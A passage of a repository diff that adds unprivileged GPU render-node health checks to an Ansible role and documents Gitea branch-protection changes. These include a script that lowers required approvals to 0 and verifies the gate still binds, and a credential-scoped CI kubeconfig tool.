+    for line in (read_text("/proc/modules") or "").splitlines():
+        fields = line.split()
+        if fields:
+            loaded.add(fields[0])
+    modules = {m: (m in loaded) for m in DRM_MODULES}
+
+    # GuC/HuC. i915's `enable_guc` is a bitmask: 0 = neither, 1 = GuC submission, 2 = HuC
+    # firmware, 3 = both, -1 = whatever the driver defaults to on this platform. It is the
+    # one place the state is visible without root AND without debugfs — but the sysfs file
+    # is mode 0400, so unprivileged it usually reads back as an honest UNKNOWN. The kernel
+    # command line is the world-readable second source: an explicit `i915.enable_guc=` there
+    # is authoritative about what was ASKED for, even when the parameter file cannot be read.
+    uc = {mod: {"enable_guc": _module_param(mod, "enable_guc")} for mod in ("i915", "xe")}
+    cmdline_params = [
+        token
+        for token in (read_text("/proc/cmdline") or "").split()
+        if token.startswith(tuple("%s." % m for m in DRM_MODULES))
+    ]
+
+    return {
+        "dri_present": dri_present,
+        "devices": devices,
+        "render_nodes": render_nodes,
+        "drm_cards": cards,
+        "pci_display": pci_display,
+        "modules": modules,
+        "uc": uc,
+        "cmdline_params": cmdline_params,
+    }
+
+
 # --- Storage ------------------------------------------------------------------------
 PSEUDO_FS = {
     "proc", "sysfs", "devtmpfs", "devpts", "tmpfs", "cgroup", "cgroup2", "pstore",
@@ -1095,7 +1304,15 @@ def collect_os():
 # we only DETECT, and the role skips the SMART checks with an accurate reason.
 def collect_tools():
     tools = {}
-    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu"):
+    # lspci (pciutils) and vainfo (libva-utils) are BOTH optional and NEITHER is declared in
+    # node_baseline_packages, so nothing in this repo guarantees either. Measured on prod
+    # 2026-09-30: lspci IS there (/usr/bin/lspci — Debian ships pciutils by default) and
+    # vainfo is NOT. lspci only decorates the PCI display entry with a readable name; vainfo
+    # is not needed on the host at all, because Plex ships its own libva and media driver
+    # inside its container. They are probed so the report can state their presence or absence
+    # as a fact instead of leaving the reader to wonder — and so nothing here is ever tempted
+    # to install them. This role installs nothing.
+    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu", "lspci", "vainfo"):
         tools[tool] = which(tool)
     return tools
 
@@ -1127,6 +1344,7 @@ def main():
         "os": collect_os(),
         "dmi": collect_dmi(),
         "cpu": collect_cpu(),
+        "graphics": collect_graphics(),
         "memory": collect_memory(),
         "thermal": collect_thermal(),
         "pressure": collect_pressure(),

infra/ansible/roles/node_health/tasks/assess.yml

@@ -652,6 +652,204 @@
          ~ (', lscpu Virtualization=' ~ c.virtualization if c.virtualization else '')
          ~ (', running as a guest of ' ~ c.hypervisor_vendor if c.is_virtual_guest | bool else '') }}
 
+# --- Graphics / render device ----------------------------------------------------------
+# WHY A HEALTH CHECK AND NOT A NOTE IN A RUNBOOK. Plex transcodes on the iGPU through
+# /dev/dri/renderD128. When that node stops existing nothing fails loudly — Plex falls back
+# to software transcoding on its own and the only symptom is a hot CPU and stuttering
+# clients. A node rebuild, a BIOS setting that disables the onboard IGD, or a kernel that
+# binds a different DRM driver all produce exactly that silent degradation. It was measured
+# by hand on all three prod nodes on 2026-09-30 and found working; a fact measured once
+# decays silently, so it is re-measured on every health run instead.
+#
+# READ-ONLY, AND UNPRIVILEGED. Every fact behind these three checks comes from the
+# unprivileged pass: stat() on /dev/dri, the /sys/class/drm bound-driver symlink,
+# /sys/bus/pci/devices class codes, /proc/modules and /proc/cmdline. The role installs
+# nothing (no vainfo, no pciutils), loads no module and changes no group — see the role
+# README. The ONE fact that is root-gated is i915's enable_guc module parameter (mode 0400),
+# and it reports as an honest UNKNOWN with the reason rather than as a 0.
+#
+# THE THREE VERDICTS ARE SPLIT ON PURPOSE:
+#   graphics.render_device  the OUTCOME — can anything hardware-transcode on this node.
+#   graphics.drm_driver     the CAUSE side — what is bound, and is it what this site expects.
+#   graphics.media_stack    INFO only. GuC/HuC and host VAAPI userspace both belong here and
+#                           NEITHER is ever a failure; see the task's own comment for why.
+- name: Assess — locate the display device and its bound driver (once, shared by three checks)
+  ansible.builtin.set_fact:
+    node_health_render:
+      # Display-class PCI devices (base class 0x03), driver bound or not. This is the
+      # question "is there a GPU in this machine at all", and it is answered from the PCI
+      # bus rather than from /sys/class/drm because a card* entry only exists once a driver
+      # has BOUND — so a GPU with nothing bound to it has no card* and would otherwise look
+      # identical to a machine with no GPU.
+      display_devices: "{{ g.pci_display }}"
+      bound_drivers: >-
+        {{ g.pci_display | map(attribute='driver') | select('string') | unique | list }}
+      # Only a CHARACTER SPECIAL file is a usable render node. Anything else called renderD*
+      # is an anomaly, not a device, and must not be counted as one.
+      render_chardevs: "{{ g.render_nodes | selectattr('char_device') | list }}"
+      # Video (vcs*) and video-enhancement (vecs*) engines across every bound card — the
+      # difference between "a GPU is bound" and "this GPU can do media work".
+      media_engines: >-
+        {{ g.drm_cards | map(attribute='media_engines') | flatten | unique | sort | list }}
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+
+- name: Assess — DRM render node for hardware transcoding
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.render_device',
+      'title': 'DRM render node present for hardware transcoding (/dev/dri/renderD*)',
+      'status': render_status,
+      'detail': render_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # SKIP, not PASS and not FAIL, when the machine has no display device at all: there is
+    # then nothing to grade, and the same convention thermal.max already uses for "no sensor
+    # on this hardware" applies. FAIL is reserved for the state that actually breaks Plex —
+    # a GPU IS on the bus and there is still no render node.
+    render_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('PASS' if (r.render_chardevs | length) > 0 else 'FAIL') }}
+    dri_listing: >-
+      {{ (g.devices | map(attribute='name') | join(', ')) if (g.devices | length) > 0
+         else 'nothing' }}
+    render_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      this machine exposes no display-class PCI device (base class 0x03) at all, so there is
+      no GPU here for a render node to belong to and hardware transcoding is not available on
+      this node by construction. Normal for a VM guest. Measured from /sys/bus/pci/devices,
+      not assumed.
+      {%- elif (r.render_chardevs | length) > 0 -%}
+      {{ r.render_chardevs | length }} render node(s):
+      {% for d in r.render_chardevs %}{{ d.path }} (character special, mode {{ d.mode }},
+      owner {{ d.owner | default(d.uid, true) }}, group {{ d.group | default('unresolved', true) }}
+      gid {{ d.gid }}){{ ', ' if not loop.last else '' }}{% endfor %}.
+      /dev/dri holds: {{ dri_listing }}.
+      THE OWNING GROUP AND GID ARE REPORTED AS OBSERVED, NEVER ASSERTED against a literal:
+      `render` is a systemd DYNAMIC allocation rather than a Debian static one, so a rebuilt
+      node may legitimately land on a different number (all three prod nodes read gid 992 on
+      2026-09-30), and Plex's container entrypoint stats the device and joins whichever group
+      owns it. Drift is therefore visible in this line without being a failure.
+      {%- else -%}
+      HARDWARE TRANSCODING IS BROKEN ON THIS NODE. A display-class device IS present on the
+      PCI bus ({{ r.display_devices | map(attribute='address') | join(', ') }}) but there is
+      no usable character-special render node: /dev/dri
+      {{ 'does not exist' if not (g.dri_present | bool) else 'holds ' ~ dri_listing }}.
+      {{ ('Note that /dev/dri holds ' ~ (g.render_nodes | map(attribute='name') | join(', '))
+      ~ ' — present, but NOT character special, which is an anomaly in its own right. ')
+         if (g.render_nodes | length) > 0 else '' }}
+      Nothing fails loudly in this state — Plex silently falls back to software transcoding
+      and the only symptom is CPU load. Check graphics.drm_driver below for whether a DRM
+      driver bound at all, then whether the onboard IGD is still enabled in BIOS.
+      {%- endif -%}
+
+- name: Assess — DRM driver bound to the display device
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.drm_driver',
+      'title': 'DRM driver bound to the display device (expected ' ~ expected ~ ')',
+      'status': driver_status,
+      'detail': driver_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    expected: "{{ node_health_graphics_expected_driver }}"
+    # WARN rather than FAIL when a DIFFERENT driver is bound (the `xe` case): the device
+    # still works, but the userspace media stack is not the same one, so it is a change the
+    # operator must see before a transcode regression surfaces as a user complaint. FAIL is
+    # for nothing bound at all, which is the cause of a missing render node.
+    driver_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('FAIL' if (r.bound_drivers | length) == 0
+               else ('PASS' if expected in r.bound_drivers else 'WARN')) }}
+    driver_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so no DRM driver can be bound to one.
+      Measured from /sys/bus/pci/devices.
+      {%- else -%}
+      {% for p in r.display_devices %}{{ p.address }}
+      {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true))), true) }}
+      -> driver {{ p.driver | default('NONE BOUND', true) }}{{ '; ' if not loop.last else '' }}{% endfor %}.
+      {{ ('DRM cards: ' ~ (g.drm_cards | map(attribute='card') | zip(g.drm_cards | map(attribute='driver'))
+           | map('join', '=') | join(', ')) ~ '. ') if (g.drm_cards | length) > 0
+         else 'No /sys/class/drm/card* entry exists, which is consistent with no driver being bound. ' }}
+      Module load state (/proc/modules, corroboration only — a built-in driver never appears
+      there, the bound-driver symlink above is what decides):
+      {{ g.modules | dict2items | map(attribute='key') | zip(g.modules | dict2items | map(attribute='value') | map('string'))
+         | map('join', '=') | join(', ') }}.
+      {%- if (r.bound_drivers | length) == 0 %}
+      NOTHING IS BOUND to the display device. That is why there is no render node: the DRM
+      subsystem creates /dev/dri/renderD* only when a driver attaches. Check whether the
+      module exists for this kernel and whether it was blacklisted or failed to probe.
+      {%- elif expected in r.bound_drivers %}
+      This is the expected driver for this site (node_health_graphics_expected_driver).
+      {%- else %}
+      EXPECTED `{{ expected }}`, GOT `{{ r.bound_drivers | join(', ') }}`. The device still
+      works, so this is not an outage — but the two DRM drivers do not share a userspace
+      media stack, and a libva/iHD build that transcodes correctly against one is not
+      automatically right for the other. Confirm Plex still hardware-transcodes before
+      treating this as benign.
+      {%- endif %}
+      {%- endif -%}
+
+# INFO ONLY, AND THAT IS A DELIBERATE RULING, NOT AN OVERSIGHT:
+#
+#   GuC/HuC firmware not loaded (i915.enable_guc=0) — the accepted state on these nodes. It
+#   costs low-power H.264 encode QUALITY, nothing else; decode and encode both still work
+#   through the media engines. Grading it would put a permanent WARN on a configuration the
+#   operator has chosen.
+#   No host VAAPI userspace / no `vainfo` — NOT a defect. Plex ships its own libva and media
+#   driver inside its container, so the host needs neither. Flagging it would invite someone
+#   to `apt install vainfo` on a node to clear a health check, and this role installs nothing.
+#
+# The media ENGINES are the fact worth watching in this line: vcs* (video) and vecs*
+# (video-enhancement) are what a transcode actually runs on.
+- name: Assess — media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.media_stack',
+      'title': 'Media engines, GuC/HuC firmware and host VAAPI userspace (informational)',
+      'status': ('SKIP' if (node_health_render.display_devices | length) == 0 else 'INFO'),
+      'detail': media_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # `.get()` rather than a subscript: uc only carries the two Intel drivers, and a site
+    # that set the expected driver to amdgpu must get a clean "no such parameters" line
+    # instead of an undefined-key traceback.
+    guc: "{{ g.uc.get(node_health_graphics_expected_driver) }}"
+    guc_text: >-
+      {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc is mapping and guc.enable_guc.value is not none)
+         else ('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))
+               if guc is mapping
+               else 'no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters at all') }}
+    media_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so there is no media engine, no GuC/HuC
+      firmware and nothing to transcode with.
+      {%- else -%}
+      media engines:
+      {{ (r.media_engines | join(', ')) if (r.media_engines | length) > 0
+         else 'NONE exposed under /sys/class/drm/card*/engine — a bound driver with no vcs*/vecs* engine cannot do media work' }}
+      (all engines: {{ (g.drm_cards | map(attribute='engines') | flatten | unique | sort | join(', ')) | default('none', true) }}).
+      GuC/HuC: {{ guc_text }}.
+      {{ ('Kernel cmdline carries ' ~ (g.cmdline_params | join(' '))) if (g.cmdline_params | length) > 0
+         else 'No i915/xe parameter on the kernel cmdline' }}.
+      GuC/HuC being off is a KNOWN, ACCEPTED state here and is never graded: it costs
+      low-power H.264 encode quality only, and both decode and encode still run on the
+      engines above.
+      Host VAAPI userspace: vainfo
+      {{ ('present at ' ~ node_health_facts.tools.vainfo) if node_health_facts.tools.vainfo
+         else 'NOT installed on this host' }}
+      — also never graded, because Plex ships its own libva and media driver inside its
+      container, so the host needs none. This role installs nothing.
+      {%- endif -%}
+
 # --- Thermals -----------------------------------------------------------------------
 - name: Assess — temperatures
   ansible.builtin.set_fact:

infra/ansible/roles/node_health/templates/summary.txt.j2

@@ -136,6 +136,37 @@
 {% endfor %}
 {% endfor %}
 
+--------------------------------------------------------------------------------
+ GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+--------------------------------------------------------------------------------
+{% set gfx = node_health_facts.graphics %}
+{% if gfx.pci_display %}
+{% for p in gfx.pci_display %}
+ pci  {{ '%-12s' | format(p.address) }} {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true)) ~ ' class ' ~ (p.class_id | default('?', true))), true) }}
+              driver {{ p.driver | default('NONE BOUND', true) }}
+{% endfor %}
+{% else %}
+ pci         no display-class device (PCI base class 0x03) on this machine — no GPU here
+{% endif %}
+{% for c in gfx.drm_cards %}
+ drm  {{ '%-12s' | format(c.card) }} driver {{ '%-8s' | format(c.driver | default('-', true)) }} at {{ c.pci_address | default('-', true) }}  engines {{ c.engines | join(' ') | default('none exposed', true) }}
+{% endfor %}
+{% if gfx.dri_present %}
+{% for d in gfx.devices %}
+ dev  {{ '%-12s' | format(d.name) }} {{ '%-18s' | format('character special' if d.char_device else 'NOT A CHAR DEVICE') }} mode {{ d.mode }}  {{ d.owner | default(d.uid, true) }}:{{ d.group | default('(gid unresolved)', true) }} gid {{ d.gid }}
+{% endfor %}
+{% else %}
+ dev         /dev/dri DOES NOT EXIST — no DRM device node on this node at all
+{% endif %}
+{# GID is printed, never asserted: `render` is a systemd dynamic allocation, so a rebuild may
+   legitimately move it and Plex's container init joins whichever group owns the device. See
+   defaults/main.yml (node_health_graphics_expected_driver) for the full reasoning. #}
+{% set guc = gfx.uc.get(node_health_graphics_expected_driver) %}
+ GuC/HuC     {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc and guc.enable_guc.value is not none) else (('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))) if guc else ('no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters')) | regex_replace('\s+', ' ') | trim | wordwrap(64) | indent(14) }}
+             {{ ('kernel cmdline: ' ~ (gfx.cmdline_params | join(' '))) if gfx.cmdline_params else 'no i915/xe parameter on the kernel cmdline' }}
+ modules     {% for m, loaded in gfx.modules.items() %}{{ m }}={{ loaded | string | lower }}{{ ', ' if not loop.last }}{% endfor %} (/proc/modules — corroboration only; the bound-driver symlink above decides)
+ vainfo      {{ node_health_facts.tools.vainfo | default('NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container', true) }}
+
 --------------------------------------------------------------------------------
  PRESSURE STALL (/proc/pressure — % of wall time stalled)
 --------------------------------------------------------------------------------

infra/gitea/README.md

@@ -52,7 +52,7 @@ All four steps are complete and each was verified, not assumed:
 | 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
 | 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
 | 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
-| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
+| 4. Collaborator + approvals | ✅ `jakman85` is owner. `required_approvals` was raised to 1 here and **lowered back to 0 on 2026-10-01** — see §6, it was a lock-out |
 
 Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
 `gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
@@ -102,7 +102,19 @@ Behaviour, proven by test rather than assumed:
 |---|---|---|
 | live matches the declaration | 0 | green |
 | any key drifted, or no runner online | 1 | **blocks the merge** |
-| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
+> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
+> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
+> inert-detector story, so the wrong name surviving here is worth correcting rather than
+> reading past. Measured in `ci/gitea-settings.sh`:
+>
+>     TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+>
+> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
+> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
+> created. In CI, only `SETTINGS_API_TOKEN` exists.
 
 The skip is deliberately *not* a block: an unwired credential blocking every PR is the
 lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
@@ -112,6 +124,119 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
 **Changing the declaration is how you change policy.** If the live state is what you now want,
 edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
 
+### 6. `allow-admin-self-merge.sh` — undoing the lock-out step 4 created (2026-10-01)
+
+Step 4 above raised `required_approvals` to 1. That was a **lock-out, not a protection**, and the
+note at the bottom of `require-gate.sh` had already said why: *Gitea will not let an author approve
+their own PR.* With `jakman85` the only collaborator, there was no account in existence that could
+approve a PR `jakman85` opened.
+
+Measured 2026-10-01 — **PR #35**: `gate / gate (pull_request)` **success in 1m41s**, reviews `[]`,
+`required_approvals: 1`, `block_admin_merge_override: true`. Unmergeable, permanently, with no
+action available to its author. The same was true of any PR fixing it.
+
+It was also never the documented design. `ci/approval-policy.sh`'s header and `ci/gate.sh:194`
+both already describe the model as *"`required_approvals` drops to 0 and the GATE decides"*, and
+`decisions/2026-09-30-flux-deploy-notification-inhibited.md` flagged the 1-vs-0 disagreement as
+unresolved and not that session's to settle. So this is a correction toward the stated intent, not
+a weakening away from it.
+
+    ./infra/gitea/allow-admin-self-merge.sh      # required_approvals -> 0 (read from the declaration)
+
+**What stays switched on, and why that is the point.** The other way to unblock an owner is
+`block_admin_merge_override: false`, and it would have been the wrong one — that re-opens exactly
+what §5 above closed, letting the one account that merges bypass the gate itself. This script
+touches the approval **count** only and *verifies* afterwards that `block_admin_merge_override` and
+`enable_status_check` are both still `true`, failing loudly if the PATCH disturbed either:
+
+| | before | after |
+|---|---|---|
+| `required_approvals` | 1 | **0** |
+| `block_admin_merge_override` | true | true (asserted) |
+| `enable_status_check` | true | true (asserted) |
+
+So a **red gate is still unmergeable by everyone, administrators included**. What changed is that
+a *green* one no longer needs a signature that cannot exist.
+
+**Security-relevant changes are still reviewed** — by `ci/approval-policy.sh` against
+`approval-policy.json` `sensitive_paths`, not by this field. An administrator waives that review
+only by posting `/approve-override <reason>` on the PR: reason mandatory, permission re-checked
+live, invalidated by a new commit, and recorded by account in the gate summary.
+
+> **Post the override as a PR *review* (type "Comment"), not in the plain comment box** — until
+> the CI token is re-minted. `SETTINGS_API_TOKEN` is `[read:repository, read:admin]`, and
+> `/issues/{n}/comments` needs Gitea's *issue* scope, so Gitea answers with an error **object**
+> instead of an array and the override is invisible. Measured on PR #38 (2026-10-02): a correct,
+> fresh, well-formed override in the comment box produced `approval-policy: FAIL` reading as "no
+> approving review" — a permission failure disguised as a missing one. `/pulls/{n}/reviews` is
+> under `read:repository` and worked in the same run. The stage now reads **both** sources, names
+> which one it used, and says plainly when the comments API is unreadable. `set-ci-token.sh`
+> requests `read:issue` as of 2026-10-02, so **re-run it** and the comment box works too — token
+> scopes cannot be widened in place. Note that the
+**agent account `gitea-admin` also reports permission `owner`**, so it can clear its own PRs that
+way; that is an accepted consequence of authorising by permission alone, and the route to
+narrowing it (an `override_admins` allowlist, already honoured by the code) is written down in
+`approval-policy.json`.
+
+**Sequencing.** `ci/gitea-settings.sh` compares live against the declaration *from the branch under
+test*, and `REQUIRE_GITEA_SETTINGS=true`. So merge any other open PRs **before** running this, then
+run it, then re-run the gate on the branch carrying the new declaration. Any PR left open across
+the change declares 1 against a live 0 and goes **red until rebased** — the detector working, not
+a fault. The script's header spells the order out.
+
+## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
+
+Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
+ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
+kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
+and only on request — set `vars.CLUSTER_AVAILABLE=true`.
+
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run   # measure only; writes nothing
+    ./infra/gitea/conformance-trigger-kubeconfig.sh             # mint + store the secret
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available   # + the variable
+
+Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
+printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
+(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
+`set -x`.
+
+**Its preconditions are split in two, and the split is the point.**
+
+| Class | Checks | Blocks |
+|---|---|---|
+| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
+| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
+
+Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
+token that can `create jobs` in `conformance` can run arbitrary code as the privileged
+`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
+while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
+
+Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
+trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
+running this today provisions the secret and then **refuses to arm the variable**, naming the
+missing item.
+
+**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
+trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
+"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
+now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
+`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
+nothing happens.
+
+Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
+read the object back. For the secret that proves presence by name only (Gitea never returns
+secret values); for the variable it proves the value is exactly `true`, which is what
+`gate.yml` compares against.
+
+The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
+to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
+rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
+
+`--server` exists because the embedded API-server URL must be reachable **from the CI runner
+pod** — the VIP — which is not necessarily the address your workstation uses. The script
+refuses a loopback server outright.
+
 ### Why these scripts exist at all, and what is still missing
 
 Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -124,8 +249,9 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
 **detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
 root cause of the 2026-09-29 session.
 
-It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
-detector detects nothing. That is the remaining step.
+It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
+detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
+it. The name matters — see the note under the behaviour table above.)
 
 ## Historical sequence (kept for context)
 
@@ -138,6 +264,8 @@ detector detects nothing. That is the remaining step.
 2. **Watch the gate actually report on a real PR**, and note the context name it produced.
 3. **Only then set `enable_status_check: true`** with that exact context.
 4. Add the human reviewer as a repo collaborator, then raise `required_approvals` to 1.
+   — **Step 4 was REVERSED on 2026-10-01 (§6).** It assumed a reviewer distinct from the author
+   would exist. One never did, so this step produced a lock-out. Do not re-apply it.
 
 > **Do not do step 3 before step 1.** A required status check with no runner leaves every
 > PR permanently pending — including the PR that would fix it. That half is measured: PR #1

infra/gitea/allow-admin-self-merge.sh

@@ -0,0 +1,105 @@
+#!/usr/bin/env bash
+# Let the sole administrator merge their own green PR: required_approvals 1 -> 0 on `main`.
+#
+# WHY. `required_approvals: 1` plus Gitea's refusal to let an author approve their own pull
+# request plus exactly ONE collaborator (`jakman85`, permission `owner`) is a lock-out, not a
+# policy. Every PR the operator opened was permanently unmergeable, including the PR that would
+# fix it. Measured 2026-10-01: PR #35 — `gate / gate (pull_request)` success in 1m41s, zero
+# reviews, `required_approvals: 1`, no account in existence able to satisfy it.
+#
+# The approvals field was also never what the design said it was. `ci/approval-policy.sh`'s
+# header and `ci/gate.sh:194` both already described the model as "required_approvals: 0 and the
+# GATE decides", and `require-gate.sh`'s own closing note named this exact failure and this exact
+# remedy. decisions/2026-09-30-flux-deploy-notification-inhibited.md flagged the 1-vs-0
+# disagreement as unresolved. This resolves it at 0.
+#
+# WHAT THIS DOES *NOT* DO, and the distinction is the whole point.
+#
+#   * It does NOT touch `block_admin_merge_override`, which stays TRUE. The required status check
+#     still binds ABSOLUTELY — a red gate is unmergeable by everyone, administrators included.
+#     Setting `block_admin_merge_override: false` would have been the other way to unblock an
+#     owner, and it would have re-opened precisely what block-admin-override.sh was written to
+#     close: PRs #5-#9 merged with zero approvals while the settings read as enforced.
+#   * It does NOT stop reviewing security-relevant changes. Those are gated by
+#     ci/approval-policy.sh against infra/gitea/approval-policy.json `sensitive_paths`, which an
+#     administrator can waive only with an explicit, attributed `/approve-override <reason>`
+#     comment on the PR.
+#
+# ORDER MATTERS — READ THIS BEFORE RUNNING IT.
+#
+# ci/gitea-settings.sh fails the merge gate on ANY divergence between the live rule and
+# infra/gitea/expected-branch-protection.json, and `gate.yml` sets REQUIRE_GITEA_SETTINGS=true.
+# The declaration in git now says 0. So between running this and merging that declaration, the
+# live value and the declared value must be compared from a branch that CARRIES the new
+# declaration — otherwise the stage goes red, correctly, for drift.
+#
+#   1. MERGE any other open PRs FIRST, while approvals still work for them (their branches
+#      declare 1, and a PR you did not author can still be approved normally). Skipping this
+#      only costs a rebase later; it does not break anything.
+#   2. Run this script.
+#   3. Re-run the gate on the branch that carries the new declaration. `gitea-settings` goes
+#      green because live 0 == declared 0.
+#   4. Merge that branch.
+#   5. Any PR still open from before step 2 now declares 1 against a live 0 and will be RED
+#      until it is rebased onto the new main. That is the detector doing its job, not a fault.
+#
+# Recoverable: `required_approvals` can be PATCHed back to 1 by an owner at any time. If you do,
+# change expected-branch-protection.json in the same breath or every PR goes red on drift.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+DECL="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/expected-branch-protection.json"
+
+command -v jq >/dev/null || { echo "jq is required" >&2; exit 1; }
+[ -f "$DECL" ] || { echo "declaration missing: ${DECL}" >&2; exit 1; }
+
+# Take the target from the DECLARATION, not from a literal here. If the two could disagree,
+# this script would be one more thing re-asserting a value nothing checks — which is the
+# failure mode the whole of infra/gitea/ exists to stop.
+WANT="$(jq -r '.protection.required_approvals' "$DECL")"
+[[ "$WANT" =~ ^[0-9]+$ ]] || { echo "declaration has no numeric required_approvals" >&2; exit 1; }
+
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+[ -n "$U" ] && [ -n "$P" ] || { echo "no stored credential for $HOST" >&2; exit 1; }
+echo "authenticating as '${U}' (secret not shown)"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
+
+# Read the RULE OBJECT, never /branches/main: the branch view does not expose
+# block_admin_merge_override and showed all-green for hours while the rule was overridable.
+echo "==> before"
+api "$B" | jq -r '{required_approvals, block_admin_merge_override, enable_status_check, status_check_contexts}'
+
+echo "==> setting required_approvals = ${WANT} (declared in expected-branch-protection.json)"
+api -X PATCH -H 'Content-Type: application/json' \
+  -d "{\"required_approvals\": ${WANT}}" "$B" >/dev/null
+
+echo "==> after"
+AFTER_JSON="$(api "$B")"
+jq -r '{required_approvals, block_admin_merge_override, enable_status_check, status_check_contexts}' <<<"$AFTER_JSON"
+
+GOT="$(jq -r '.required_approvals' <<<"$AFTER_JSON")"
+ADMIN_BLOCK="$(jq -r '.block_admin_merge_override' <<<"$AFTER_JSON")"
+STATUS="$(jq -r '.enable_status_check' <<<"$AFTER_JSON")"
+
+fail=0
+[ "$GOT" = "$WANT" ] || { echo "PATCH did not take: required_approvals is ${GOT}, wanted ${WANT}" >&2; fail=1; }
+# These two are what keeps this change narrow. If the PATCH disturbed either, the gate has
+# stopped binding and that must be loud, not discovered later.
